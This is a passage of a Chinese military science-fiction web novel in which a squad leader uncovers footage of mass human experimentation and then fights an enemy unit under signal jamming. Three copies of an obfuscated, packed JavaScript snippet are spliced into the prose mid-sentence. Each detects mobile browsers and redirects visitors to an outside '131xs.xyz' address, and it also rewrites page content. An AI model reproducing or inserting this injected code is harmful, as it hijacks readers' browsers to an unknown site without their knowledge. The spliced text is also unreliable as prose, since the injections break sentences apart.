受拱顶的结构影响,二层环形的走廊会被上方的墙壁挡住一部分。外圈有约三分之一的范围是拍不到的,这几秒里,这名敌军就是进了拍不到区。 她又在文件夹里翻了一会儿,找到了一个装在大楼一层的监控,这个监控主要对的是入口大门,但上方也能拍进少许二层走廊的景象。 然后她看到了那几秒里发生的事情——敌军冲向走廊外侧,那里有一扇没了玻璃的窗户。 敌军双手撑住窗沿,在身体向外探出的一瞬,背后爆开了一朵血花。 这名敌军想翻窗出去。 谈焰又把两个监控角度都看了一遍,确认了这点。她调出终端上的厂区平面图,经过比对,发现那扇破掉的窗户,正对的是西区车间的方向。 这家伙想去西区车间? 谈焰感到有些疑惑,这个天井的挑高很高,从二层的窗户直接跳出去,得有近7米的落差,他就算不被身后追过来火力打中,也很有可能会把腿摔断。 西区车间有什么那么重要?他们的物资?他们的伤员?可他这个举动,不怕恰会把把小队引过去吗? 还是说——那边有足够让他绝境翻盘的东西? 这个发现让谈焰思多斟酌了一会儿。她原本打算夺下中央大楼后,以这里为主、以一车组所在的厂区外东侧山坡高地为辅,打两点配合。 但现在这个计划可能需要变动了。 谈焰沉吟片刻,把终端地图上的西侧厂区标亮:“四组,你们去侦查下这个区域内部。潜翼一下,把数据链传回来。” 自九渊被销毁后,我军就再也没使用过一揽子的全局式作战辅助系统,回到了多系统并行,一个系统只实现一个功能的模式。如今,包括凤凰在内的大部分部队,用的数据分析系统仍是潜翼,由是大家还形成了把做数据分析叫“潜翼一下”的习惯。 然而只要是用过九渊的人——谈焰和很多人聊过这个问题,相信这并不是自己私心——都认为多系统并行确实不方便。就比如四组做完数据分析,如果想向其他队员发送数据链,并更新平面图的话,一共需要用到潜翼、数据链、队频三个系统,转两次格式,如果其中某一系统近期刚更新完,还有概率遇到兼容性打架的bug,导致根本转不过去。 但如果是九渊在的时候,直接对他说一句“帮我更新数据分析结果,同步推给队伍”就可以了。 放眼当下联邦各国作战辅助系统的发展,智能化、通用化、全局化都是大势所趋。 但或许是当年九渊留下的阴影太深,我军作战辅助系统的研发方向在这两年明显保守,人工智能系统领域的进展几乎空白。 或许九渊真的是唯一的。有时候谈焰会这么想,但又会觉得遗憾。 一个本该百花齐放的领域,不该为一次错误、一条歧路而就此裹足。 四组侦查西区车间需要至少十分钟时间,没那么快有结果。谈焰把目光重新转回到眼前的平面图上。 从一主一辅两点配合,变成一主两次的三角形防区,需要考虑的区域范围扩大了不少,他们的兵力势必会变得更分散。为了保证火力网的密度,必须在直接射界覆盖率低的点位进行补充。 她和几个组长讨论了一会儿,在平面图上划定了几个重点的火力补充区,包括厂区主干道、岔道口以及植被杂乱的区域,分别加装远程逼控爆破装置。 几个组员都去安爆破器了,监控室里,就剩下谈焰一个人。 她在监控终端前坐下来,点关掉刚刚查看过的历史文件夹。过了几秒钟,又重新点开。 之前那个匪夷所思的可能性再度浮上脑海。她木然盯着终端屏幕,手几乎有一点颤抖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064029|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挣扎了很久,还是一步步调出了那片被炸毁的车间的监控文件。 ——有什么用呢? 在这么做的时候她问自己。已经过去那么久了,她已经亲手杀了她的爱人,甚至连他曾存于世间的痕迹都抹去了。 即使知道了当年的真相,甚至是隐情,又有什么意义? 她闭了闭眼,再睁开。 仍是选中了那一串文件列表,播放。 这个监控系统的视频文件是按时间顺序排的,可以容纳30天的记录。但由于中间有两年的空白,所以时间跨度很大,前面19个文件是280年的;后面11个,则是从11天前到现在的。根据这点,倒是能侧面推断出那支S国军队进驻这片厂区的时间。 第一个名为“02_07_280”的文件开始播放。 谈焰有一阵儿没搞明白这是在放什么。 只见漆黑一片的画面中,布满了密密麻麻的红色光点,呈网格状均匀排布。她等了好几十秒,没有任何变化,以至于她甚至无聊到把数量数出来了,30乘30,画面里共有900个光点。 一分钟后,画面仍然不动。她开始手动把进度条往后拖。 早上4点,夏季富索山脉的天应该开始亮了,但画面还是不动——至少得到了一个信息,这个车间没窗户。 早上9点,画面亮了。 谈焰刹那间屏住了呼吸。 她不能准确复述在接下来的几秒自己看到了什么,那一瞬亮起的画面,几乎是把她一生所怖之物一股脑儿地强塞进她的视网膜。巨大的冲击让她全身都在战栗,掌心冷汗连往外渗,像握了一团冰。 只见那900个光点——不是别的,是900个发着红光的按钮,装在900个她无比熟悉又无比厌恶的装置上。 隔离舱。 这个车间里有900个隔离舱。 她深吸了一口气,强迫自己冷静,仔细看画面中呈现出来的细节。 没有一个隔离舱是空的,每一个透明S3玻璃罩里,都囚禁着一个病入膏肓的人类实验体,尽管看起来都已经对外界失去了感知,也作不出任何反应。车间照明亮起后,他们中大部分仍然赤身裸体地蜷在玻璃罩底部一动不动,像一群没有感光器官的白色肉虫子。 但他们都活着。谈焰4岁那年曾在竺兰的哀求下险些按下那个红色按钮,知道它代表的含义,只有实验体活着的时候,它才会亮着。 打开照明的人似乎是厂区的员工,身上穿着防护服——两年前的防护服技术,还做不到像如今这么轻便,有点类似宇航服,穿在身上又重又臃肿。这名员工明显费力地走在成排的隔离舱之间,挨个儿检查生命体征面板数据。 其中有几个实验体出现了异常指标预警,员工熟练地通过隔离舱里的微量泵推送相应的药剂进行调节。 那个姿态实在太从容、太自然,就像是任何一个不情不愿早起上班的社畜,机械地处理着无聊的工作。隔着透明面罩,谈焰甚至看到他在做这些的过程中连打了几个哈欠。 早9点,晚9点,一天两次“查房”。车间照明熄灭,画面中又只剩下900个绝望而不得解脱的灵魂,在黑暗中荧荧闪烁。 第一天的监控记录结束。 51. 【34】 第二天、第三天、第四天……周而复始,这个车间犹如掉进了大型地狱道轮回现场。除非仔细观察,会发现每天进入车间的员工身形和相貌不同,这一串监控简直跟复制粘贴的没差别。 变化发生在第16天,280年7月17日。 这天早上,进入车间的员工数量增加了,一共来了4个人。在检查完实验体的状况后,他们并未像往常一样离开,而是给所有的隔离舱微量泵里都添加了某种药液。 监控的画面很不清晰,谈焰放大了看,也只看到那种药液灌体呈透明的淡黄色,标签首字是大写“SS”,后面的小字就模糊不清了。不过应该是S国文字,看清也没用。 每个隔离舱被输入的药液剂量很少,只有1毫升左右。但产生了惊人的效果,半个小时后,几乎所有的隔离舱都有了动静,平时安静蜷在舱底的实验体们爬了起来,一个个五官扭曲,像是在忍受极大的痛苦,又像是亢奋,白花花的身体在舱体内疯狂挣动着! 有人用头和四肢撞击高强度的S3舱壁,有人撕扯身上插满的管子,血肉模糊的景象随处可见。 监控没有声音,但透过那900张狰狞又悲哀的面孔,谈焰几乎能听到他们的嚎叫。那种药液不知道是什么东西,竟然能把这些本已对痛苦麻木的实验体刺激成这样。 她边思索边在自己的终端上记下“SS”,继续往下看。 实验体们的挣扎持续了一整天,越到后面越微弱,似乎是药液的效用在随时间递减。在这一天里,有几个隔离舱的红色光点陆陆续续熄灭了。那4个厂区员工始终留在车间,观察着实验体们的情况,一旦确认有死亡个体,他们就会按下隔离舱上那个熄灭的按钮。 高浓度的氢氧化钠溶液从舱体底部打开的橡胶阀注入,没过失去生命的躯体,隔离舱开始加热,将舱壁蒙上一层白雾。 约3小时后,白雾散去,隔离舱底部只剩下少量未被溶解的大块骨骼残片。 亚美人、高加索人、马来亚人、尼格罗人……不同肤色不同样貌不同性别的人类,到最后都化作了一堆同样的灰白色骨殖。 进度条走到晚9点,车间熄灯时,谈焰数了数,亮着的光点还剩下827个。 第17天,280年7月18日。 重复上一天的步骤。 不过谈焰注意到,这天早上开灯时,已经有几个人在隔离舱里坐着了,还有些人被灯唤醒,会主动睁开眼做一些动作。不再是之前完全死气沉沉的模样。 等到那种淡黄色的“SS”药液注入隔离舱后,又是一轮新的折磨。但不知道是不是谈焰的错觉,今天的实验体们反应似乎比昨天略小一些。 等到晚上,她数出剩下的光点是801个。 不是错觉,实验体们在适应这种药液,今天的死亡人数仅是昨天的三分之一左右。 第18天,280年7月19日。 这是爆炸发生的前一日。 谈焰取消了倍速播放,目不转睛地注视着监控屏幕。 这天隔离舱里的实验体们的状态,和注射“SS”药液前已经是天壤之别。如果忽略他们脸上那种呆滞的神情,他们看起来甚至和健康人已经没有区别。 即使是再次注射药液后,他们中大部分也只是显得微微亢奋,并没有痛苦狂躁。 晚上9点,车间照明并未如往日那样熄灭。4名员工继续在车间里逡巡,似乎在等待着什么。 又过了半个多小时,车间的门开了,一大群穿着防护服的人走进来。后面还跟着几辆自装卸叉车,将几个大集装箱运到车间的卸货区。 谈焰注意到,在进入车间的那群人中有几个携带着武器,很可能是军人。 一群人在车间里走动查看了一会儿,随后,做了一件让谈焰无法理解的事——他们操作着车间总控面板,解除了所有隔离舱门锁。 一间间舱门打开来,里面的实验体被放出。这些无论是身体还是精神都被摧毁的人们,大多已不具备人类的思维和情绪,在重获自由后,也没有人露出喜悦的表情,他们不交谈、不反抗、不逃跑、不羞耻,被那几个军人像赶牲畜一样赶到一起。 车间员工打开了刚刚运来的集装箱,拿出了里面的东西。是一些衣服,被一件件分发到实验体手里。 那不是什么特别的衣服,只是普通的T恤、裤子、女式头巾和长裙,甚至还细心地兼顾到了各种民族宗教的着装风俗。 等所有人穿好衣服后,就连一直没离开过屏幕前的谈焰,也很难认出这些就是几天前还如同行尸走肉一样的那些实验体。 他们看起来完全就是正常人。 或许有一点呆,但擦肩而过时她绝不会怀疑是和自己一样的正常人。 当监控进行到这里时,谈焰心里已经有种不祥的预感——S国政府出资支持的医药公司,做着如此大规模的反人类实验,到现在,甚至还暴露了S国军方也直接参与其中。 他们精心包装出的这些“正常人”是要干什么? 还能是干什么? 这个车间里共有801个变异种携带者。他们顺从、听话,几乎没有自我意识,对痛苦的承受能力远胜常人,是消失在世界上很久早已没有了社会身份的孤岛。 同时他们是平民,是任何时候出现在战场上要优先被保护的弱者。 谈焰先前在中央大楼的引导牌上确认过,厂区北侧被炸毁的区域,原本共有3个车间。她目前只看了其中一个,即当年爆炸新闻中拍到,查谟加尔男孩跑出来的那个车间的监控。 但如果假定其他两个车间中,也发生着同样的事情的话,那么将有约2700个变异种携带者被造出来——连组建一支军队都够了。 这一天的监控在谈焰复杂的心绪中结束了。 来自两年前的最后一段,名为“20_07_280”的监控视频开始播放。 由于爆炸是在7月20号这天凌晨发生的,之后厂区就断电了,因此这段监控很短,只有1小时56分钟。 视频开始时,工厂对实验体们的“包装”已经结束了。他们被分成了若干组,被赶到车间门口排好队,似乎在等着被运送走。 这时候,谈焰注意到了排在队伍最末的一个身影,单薄,瘦小,身穿着略肥大的条纹衫,和到膝盖上方的短裤。 谈焰暂停看他的正脸,黑发黑眼。 是那个查谟加尔男孩。 这个男孩似乎属于少数还有自我意识残留的实验体。在人类生命早期,对尊严和道德的认知还没有完全建立起来,也就谈不上摧毁。这个时候,他表现得远不像身边其他人那样麻木呆滞,而是不住地左顾右盼,不时低头看看身上穿的新衣服,大概还不敢相信自己是真的自由了。 观察了周围几分钟后,他目光落在了不远处的车间大门。 大门距离他约10米,中间隔着一些其他排队的实验体,他悄悄往前挪了几个身位,从他们中挤过去,没有人注意他。 车间员工在另一头的卸货区收拾集装箱,几个拿枪的军人虽然站在队伍前方,但这会儿并没有往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064030|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队伍中看,而是正对着一台军用通讯通话。 确实是个逃走的好时机。 男孩只短暂地犹豫了几秒,就溜出队伍,向着车间大门跑去。 然而还没等他跑出多远,伶仃的身影就被前方投来的一片阴影罩住了。 一个穿着防护服的人挡在男孩面前。 这个人背对着监控,谈焰看不到他或她的正脸,她之前没注意过这个人,但这时,她突然意识到这个人出现得有点奇怪。 他或她的身高仅有140公分左右,尽管穿着防护服,也能看得身条清瘦。不像是成年人,像个还没完全长开的少年。 少年两手空空,显然不是军人,但也不像是车间的员工。在其他员工都在工作的时候,少年游手好闲,也没有人叫他去做事。似乎所有人都对他自由的存在持默认态度。 查谟加尔男孩抬头看看对方,向后退了一步,露出害怕的表情。 少年却伸手,搭住男孩的肩不让他走,同时在男孩面前蹲了下来。 他们维持这这个姿势几十秒,从男孩不时翕动的嘴唇看得出二人在交谈。但监控的画质太模糊了,谈焰完全解不出他在谈什么。 中途男孩表情有一次变得困惑,似乎问了一个什么问题。 那个少年抬起一只手,指指自己,又指指男孩和周围。 最后他拍了拍男孩的肩膀,站起身来,走到车间大门前,从口袋里掏出一张卡,在门锁感应区刷了一下。 门开了。 男孩立刻从那条开启的门缝中跑了出去,监控画面无法再拍到他的身影。但谈焰知道,他跑出去后转过头,对少年挥了挥手。 监控里,少年的身影站在门边,他或许说了什么作为回应,或许只是在注视那个男孩。 过了十几秒,少年才转回身,监控在这一刻终于拍到了他的脸。 是他。 谈焰猛然从座椅中站起身!死死盯着那张熟悉,又因成长而有所变化的面孔。 同样的查谟加尔人相貌,同样的黑发黑眼。真的是他。 ——是7年前杀死谈红全队的那个恶魔。 爆炸的火光最终吞没了一切,画面剧烈晃动,监控终端闪起白线,又在几秒后归于黑暗。 谈焰盯着那片黑暗中自己的倒影,过了良久,才拿起自己的终端,在搜索框内输入“SS”,限定标签为医药行业术语。 搜索给出的结果是:SerumSolvent。血清溶剂。 放下终端后,谈焰久久无言。 那个恶魔一样的少年在逃出研究所的地下实验室后活了下来,时隔五年,他的命运依旧纠缠于这项罪恶的研究实验。只是从隔离舱里的受害者,变成了隔离舱外的旁观者,抑或是加害者。 他为什么会出现在Orient公司的工厂里? 是和当年的竺兰一样被那些人抓去的,还是他主动找到的他们? 少年曾是变异种的长期携带者,谈焰不确定两年前出现在监控里的他,是已经痊愈,还是仍带着传染性。但他的存在一定对于Orient公司有着极特殊的价值,因此他才能混迹在其他员工之间,并拥有人身自由。 谈焰同样不确定他为什么会放走那个男孩。 他最后做出那个动作,指向自己,又指向男孩和周围的时候,究竟说了什么? 是——因为注射了我的血清,你和其他人才好起来? 还是——未来的你,就是从前的我? 我们注定,是要屠戮这人间的恶龙。 52. 【36】 至此,谈焰才明白了九渊落下那枚导弹的真实原因,他一定在卫星画面里看到了那个少年送男孩离开的景象,甚至有可能,连车间里面的景象都看到了。 2000多具活生生的生化武器,一旦未来投放到战场,造成的后果几乎是毁灭性的。 谈焰恍然想到了曾引起她和九渊唯一争吵的那次通话中,九渊问她的第二个问题。 ——如果你发现了一名落单的敌军,你发现他是被迫参战,手无寸铁,饥寒交迫,且最重要的,他是个未成年的孩子。这时,你将如何选择? 谈焰对这个问题至今没有答案。 从某种角度来说,她是幸运的,因为这个选择权不曾落到她头上。但她也清楚这幸运并非偶然,而是始终有人在替她背负,那沉重得令她无法负担的命运。 从谈天方,到谈红,再到九渊。 九渊在那个瞬间作出的决定,性质和当年谈天方烧毁研究所地下室、或是谈红计划在生命的最后时刻杀死查谟加尔男孩的举动皆有相似之处。很难去非黑即白地评判其对错,但至少值得有被评判的空间,而不是直接被判死刑。 谈焰退出监控播放界面时,顺便扫了一眼这个历史记录文件夹的大小,不是很大。她可以很轻易地把它们拷回去,洗刷九渊的罪名,让一切都真相大白。 可在将要这么做的时候,先前的那个疑问又冒出来,让她的手停在半空。 ——还有什么意义呢? “队长!”就在这时,四组组长从通讯中传来,打断了谈焰的思绪,“西区车间地上有两层,地下一层。地上的两层我们已经排查完了,没人,其中二层存有部分生活物资,应该是敌军的居住点。” “现在的问题是,通往地下室的门有电子锁,进不去。我让盛哥和小白去车上取破门器了,待会儿打开了看看,这个地方肯定有问题,说不定是……” 四组组长话音未落。 频道里,一组组长突然报告道:“远处有车灯!他们来了!” 其他队员立刻自动收声。谈焰问:“距离?” “1200米,一共有……一共8辆车!他们车怎么这么多?!” 谈焰目色沉了沉。 8辆车,保守估计敌军在20人以上,接近小队人数的两倍。 这支敌军队伍的规模远超过了他们的预想。 对方的车速很快,从谈焰所在的中央大楼顶层眺望,已经隐约可见穿过密林而来的远光灯束。 她又低头扫了眼平面图上各个队员的位置,仅迟疑了一秒,就当机立断道:“四组放弃破门。盛哥和小白直接来中央大楼。敌军目预计2分钟后进入厂区,他们走的东南侧,那边废墟区不好隐蔽,四组长,你从北侧生活区绕过来,同中央大楼汇合。” “进楼后按计划布防,三组负责北侧区域,你们南侧。二组不动,守好大门和天井。” “是!” 过去一年多的战场磨砺让谈焰形成了一条经验——防区面积,应当与敌我兵力比例成反比。 越是少对多的战斗,越要警惕过度分散火力。守住一条坚不可摧的防线,比控制一片哪哪儿都做了点准备,又哪哪儿都准备不充分的防区要可操作得多。 因此她决定放弃三角形防区方案,改回了原先的两点配合战略。 占据中央大楼是目前小队最大的优势,这里高度够、视野宽,而且有监控这个天眼加持,可谓占尽地利。这块据点他们绝不能丢,因此值得四分之三的兵力来守。 整个作战方案要改,需要调整的细节头绪极多。谈焰站在监控室的窗口,一边在频道里指挥,手上一边把自己的M80型冷艳锯组装架好——这是我军280年最新定型的一版轻机枪,在偃月的基础上,射击精度和穿透力都做了改良。 它的外型和偃月很像。当谈焰手握上枪托,指腹触着那个熟悉的月牙形镀铬凹槽时,任何心绪都会在瞬间平静下来。 如月升潮落,纵前方荆棘载途,她知道自己手中,仍有能斩世间一切魍魉的不仁之器。 1分52秒,敌军车队抵达厂区东南。 在头车越过坍塌的围墙的一瞬间,两道火舌交错喷出!中央大楼上的四组队员和外侧山上的一组同时发动了攻击。 枪声响成一片,子弹击打在军用越野的外壳上,发出有节奏的金属弹撞声响。 敌军头车猛地刹住——实际不是刹车,在监控里谈焰看到它的轮胎被打漏气了。挡风玻璃有一定的防弹效果,但在火力重压下很快碎裂!前排的两名S国士兵当场被击毙,后座一人借着车体掩护从后备箱中爬出逃窜。 头车的惨烈遭遇为其余车辆争取到了一点宝贵的时间。只见紧随其后的7辆车只减速了一瞬,就立即开始调整行驶路线——这同时说明一件事,这支队伍的指挥不在第一辆车里。 不过这也和谈焰的预期相差不大,她没指望过靠运气取得胜利。 但接下来,目睹敌方车队调整的方向却让她有点在意。其中4辆车绕去了正东方,似乎打算从厂区正门进入,其余3辆则直直朝着北侧生活区扎过去。 谈焰低头看了眼终端平面图,代表四组长的光点还在生活区附近跳动,离着中央大楼尚有100米左右的距离。 而且这100米是一片平坦开阔的绿地,毫无掩体可遮蔽藏身。 “队长,”四组长自己也发现了问题,在通讯中紧张道,“他们朝这边过来了!我这边位置不太好,直接冲过去来不及了,我先回西区车间避一……” “——砰!” 生活区突然传来一声枪响。 队伍中每个人的心都随之揪紧。但片刻后,他们注意到代表四组长的光点并没有熄灭,而是在调头向着西区车间的方向快速移动。频道里只能隐隐听见他跑动时急促的呼吸声。 半分钟后,四组长终于跑进了西区车间大门,和身后的敌军拉开了距离,这才有余裕开口说话:“同志们,好险哪,刚刚那一枪都打我脚边了,多亏是黑天——” 四组长突然沉默了。 一束车灯光映亮西区车间的窗玻璃,越野车发动机的鸣转声由远及近。 “……”四组长勉强忍下了到嘴边的脏话,“这帮S国孙子,追着爷爷不放了是吧?!” 骂归骂,他目前的处境确实危险到了极点,接下来有可能要被远倍于自己的敌人堵在西区车间这个封闭空间里。他注意着外面向敌军的动静,一边慢慢向楼上移动,一边调出终端里还没画完的西区车间内剖面图,点了共享上传。 潜翼、数据链、队频三个系统争先恐后地报起错来。 谈焰同步收到了报错提示,她明白,这是四组长已经在为牺牲做准备了。 她压下心中翻涌的情绪,身为队长,她不能在战场上表现出一丝一毫的负面情绪。她用平静的声音问:“你在移动,车间里有适合躲藏的位置吗?” “一层是个大实验间,一览无余的,肯定不行,”传不过去剖面图,四队长见缝插针尽可能多地口述提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064031|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 供信息,“二层有可能。二层靠墙有个爬梯,我刚才看了,上面连着一扇去楼顶天台的门,虽然锁着,但是有一个向上纵深一半左右的小空间,能藏一个人。我待会儿打算藏进去,赌一把试试。” 谈焰没有异议。她没有进去过西区车间,无法指导四组长躲在哪里更安全,更不知道敌军下一步将如何行动,只能看他运气。 这不是演习,每一条生命都是真实的且只有一次。因此她不会强迫四组长去输出,比起宏大的牺牲,永远是具体的活着更宝贵。 敌军的3辆越野穿过夜幕中的枪林弹雨,停在了西区车间外。 他们进入车间建筑后,就完全处在中央大楼的射击盲区了。更不利的是这个车间里的监控还很少,能正常工作的只有入口处的一个。 在监控画面里,谈焰除了看到8名敌军的身影一闪而过,并没有获得其他的有效信息。 随着敌军的逼近,四组长那边再度变得安静。主防线上的战斗还在进行,谈焰不得不收回投在西区车间的注意力,专心指挥前线的战斗。 敌军主力之所以敢从正门突破,并非没有防备——谈焰懂得在主干道和岔道口等位置埋设火力点,对方指挥未必不懂。几轮火力对轰后,敌军冲阵的4辆车中报废了一辆,但小队自身兵力不足的缺陷也在随着时间推移慢慢显现。 敌军指挥敏锐地捕捉到了这一点。 又一轮射击后,敌军剩余的3辆车突然改变了行车路线,纡回绕向侧后,从三个方向同时接近厂区外小队一车组所在的山坡。 “好小子,想包抄我们是吧……”眼见三条弹路同时逼夹过来,山坡上的灌木丛被打得枝叶乱飞,一车组长迅速指挥着驾驶员倒车,“往北开,绕他们一下再调回来……对!再往北,过前坡往右打,看我轮胎不他们打爆!” “别再往北了!”中央大楼上,负责北侧区域的2名三组成员急忙提醒,“出射程了!” 但一车没有减速,黑暗密林中,只见它和另一辆敌方越野彼此竞速,双方相隔不过五米,同时向着山体北侧最陡峭的一个高坡冲去! “砰砰——” 一车仅领先了半个车头,但已经足够了,在冲上的高坡的一瞬,驾驶员握着方向盘的手臂疾拧,车尾猛地侧甩,带着车体抛转出近120度,鸭形尾翼在夜色中流过一线幽光。后排的组长和小钟同时从右侧车窗开火! 敌军越野在慢一步抵达高地的时候就已经意识到先机过了,立即调头。 但来不及了,旋转中的车胎瘪下去了两个,车身开始倾斜。敌军驾驶员将油门踩到了底,颠簸退向后方的密林,而下一刻,发动机的轰鸣声竟又追了上来,一车冲下高地,用一侧车身抵住已经倾斜的敌军越野,两辆车体外壳彼此刮擦,溅射出刺目的火星。 这惊险的一幕看得远处中央大楼上的队员们不约而同屏住了呼吸。 另两辆敌军越野从其他路线试图冲向北侧高地,但还没出中央大楼的射程,被三组的火力压得行动迟缓。只能眼睁睁看着他们的同伴被一车别到山坡边缘,重重滚落。 一车也车身也有部分损坏,但对行驶影响不大。它在山坡前刹住余势,就毫不停留地打轮往南驶去。 两辆还在火力压制中的敌军越野,看见这个嚣张的对手穿过枪林弹雨杀过来,那根本不介意双方同归于尽的架势,让尚占兵力优势的敌军竟然迟疑了一两秒。 谈焰微眯了一下眼。 这是这支敌军在这场战斗中的第一次迟疑。 53. 【38】 两秒后,两辆敌军越野改变了路线,转而向山下驶去。 这是打算先去救滚下山坡的同伴了。 这里的山坡植被茂盛,军用越野的强度是毋庸置疑的,即使是敌军的越野。因此滚下山的过程几乎不可能对车内的人造成什么致命冲剂,车更不可能燃或炸。不过是要在底下趴窝一会儿,等换完了轮胎才能开上来。 谈焰低头看了眼终端时间,敌军检修加换胎大概会用到5分钟左右,重新开上山需要2分钟。 在有同伴帮助的情况下,这个时间可能还要缩短三分之一到一半。 但是够了。 “小白和盛哥,北侧窗口替换三组,”她在通讯中下令,“三组成员,跟我下楼开车,我们去引这两辆敌军越野进爆破埋设区。” “二组,天井窗口拿控制器准备,3分钟后,等我信号爆破。” “是!” 坐进车里,三组的驾驶员发动着越野快速驶出中央大楼前广场,谈焰坐在后座上,把敌军的三辆车也更新进了终端平面图里,分别用ABC编号。 A是破胎滚下山坡的那辆车; BC是另两辆正要去救援的车,也是他们接下来的主要目标。 时间紧迫,谈焰只草草标出了敌军车辆的位置,和接下来己方车辆拟行驶的路线。点选同步上传后,屏幕上跳出不同系统间格式转换进度条,百分比不断爬升。 谈焰希望它别在这时候报错。 这场战斗的容错率实在是太低了。陌生的环境、数量倍于己方的敌人,还有被困在西区车间命悬一线的战友……接下来的3分钟,或许将是决定战局走向的3分钟,是小队的唯一机会。因为谈焰刚刚意识到了一件事——敌军的指挥,就在滚下山坡的A车里。 这个敌军指挥的水平并不差,在战斗的过程中,这名指挥始终表现得冷静且果断,即使被突袭,敌军队伍在他或她的指挥下也丝毫不慌乱。 而刚刚,B、C两车唯一一次表现出的短暂混乱和茫然,就是在A车向着山下翻滚的时候。 应该是那时处在A车里的指挥,分不出精力兼顾战局的缘故。 A车至少要3分钟后才能重新投入战局,而谈焰要的,就是在这3分钟里彻底把B、C两车解决掉。如果能成功,那加上之前干掉的两辆车,敌军就只剩下四车的兵力,跟小队对比的人数优势也就基本被抹平了。 三车很快通过厂区主干道上的两个减速带,敞开的厂区大门已在前方。 终端上的进度条终于爬到了100%。 同步成功的提示跳出来,谈焰松了口气,一边用指尖快速拖动着图上的BC两点,一边在频道中说:“大家注意,目前敌军车辆正在往……” 就在这时,频道里一行文字突然跳了出来。 四组组长:【队长!我在西区二层车间,看到他们上来5人,从装备里拿了几个抗干扰通讯器!】 谈焰蓦地怔住。 其他队员也看到了这行字,频道里瞬时鸦雀无声。 抗干扰通讯器,这种体积大、质量重、续航时间还短的通讯设备,所有人都明白,它只有在一种情况下会被使用——在信号屏蔽区里。 “他们走了,没发现我,”随着敌军的走远,四组长终于能说话了,“他们肯定是藏了一台信号屏蔽器在地下室里,所以才锁着门,我刚刚听到地下室的铁门响了,他们的人下去了……队长!你们还是赶紧回中央大楼吧,他们应该已经在启动信号屏蔽器了!” 这片河谷属于山区,面积广大且生产方式原始,在这种环境执行任务的部队,99%都不会携带信号屏蔽器。但他们偏偏就踏进了这1%的概率里。 谈焰现在才明白,当初中央大楼天井里的那名敌人,为什么冒着巨大的风险也要去西区车间。 西区车间里确实有能让敌军绝境翻盘的东西,何况现在,敌军的境况根本不是绝境——己方的才是。 极小概率事件,数量多得仿佛不可战胜的敌人,还有信号屏蔽带来的电子静寂。 一瞬间,谈焰甚至有种恍惚感,好像又回到了两年前,在36军参加的那场联合演习。 只是如今,她需要肩负的不再是那几个轻飘飘的小队击杀数,而是身后我军运输线的安全,还有11条战友的生命。 她能理解四组长劝告的初衷——一旦信号屏蔽器启动,他们的队伍又没有相应的反制手段,那么所有的队员都会变为信息孤岛。队伍越分散,每个孤岛就被分得越零碎,风险也就越高。 因此这种情况下,只有尽可能通过缩短队员之间的物理距离,以最原始的方式保证队伍的沟通。 三组的车还没有开出厂区,他们可以立刻掉头回中央大楼,跟四组、二组的成员聚到一起。一车正和三辆敌军车辆纠缠在一起,如果现在逃跑,有一定几率能逃回来和大部队会和,也有可能会在三倍于己的敌军夹攻下车毁人亡。 四组组长则是不可能回来了,敌军的第一据点就是西区车间,他在里面能藏一时,但藏不到永远。 可问题是——就算小队的剩余成员都聚在一起,又有什么用?错过这3分钟,他们就错失了扭转战局的唯一机会,接下来,难道要在中央大楼里和敌军耗着,耗到弹尽粮绝为止? 谈焰深深吸了一口气。 终端屏幕因久不操作而自动暗下。在发动机的隆隆声里,她做出了决定。 “一切按原计划,”她说,“信号屏蔽如果启动,我们将失去数据链和队频。数据链的问题,潜翼的脱机数据分析功能可以弥补一部分;队频的问题,确实无法解决,接下来就由各组自行指挥。视距范围内注意配合,视距范围外,用曳光弹进行指引和联络。” 这是一个非常冒险的决定。无异于是在赌小队成员之间的默契。 但接下来响彻在队频里、那句异口同声又无比坚定的“是!”,证明了这样赌或许是有希望的。 “那个……”等大家斗志昂扬的表态声落下去,小钟忽然开口道,“其实可能有个办法。” “一周前,我们在山外79号基地休整,大家的终端在连基地网的时候,进行了一次自动更新。这次更新装载了一个新作战辅助系统,带孤立数据分析模块,就相当于我们每个人都配了同一个数据分析师,在同一场景下,它总会得出相同的分析结果,不会受信号屏蔽影响。” “有这种好东西?!”有队员惊呼,“怎么不早说?” 小钟说:“这是个新产品,我们是第一批装载的用户。之前没有反馈,我也不知道好不好用,本来想找个不执行任务的时候让大家试来着。”这时候,队频里已起了海潮一样起伏的电流声,人声夹杂其间开始变得时断时续。 这是信号屏蔽器启动建立屏蔽区的前兆。 没有其他的选择了。小钟加快语速:“大家打开终端系统选项,里面有个‘测试版用户协议’,选同意启用全部功能就行。来不及教大家怎么用了,这个系统里内置了个AI,上手应该不难,有问题可以……滋啦——” “滋啦——滋啦——” 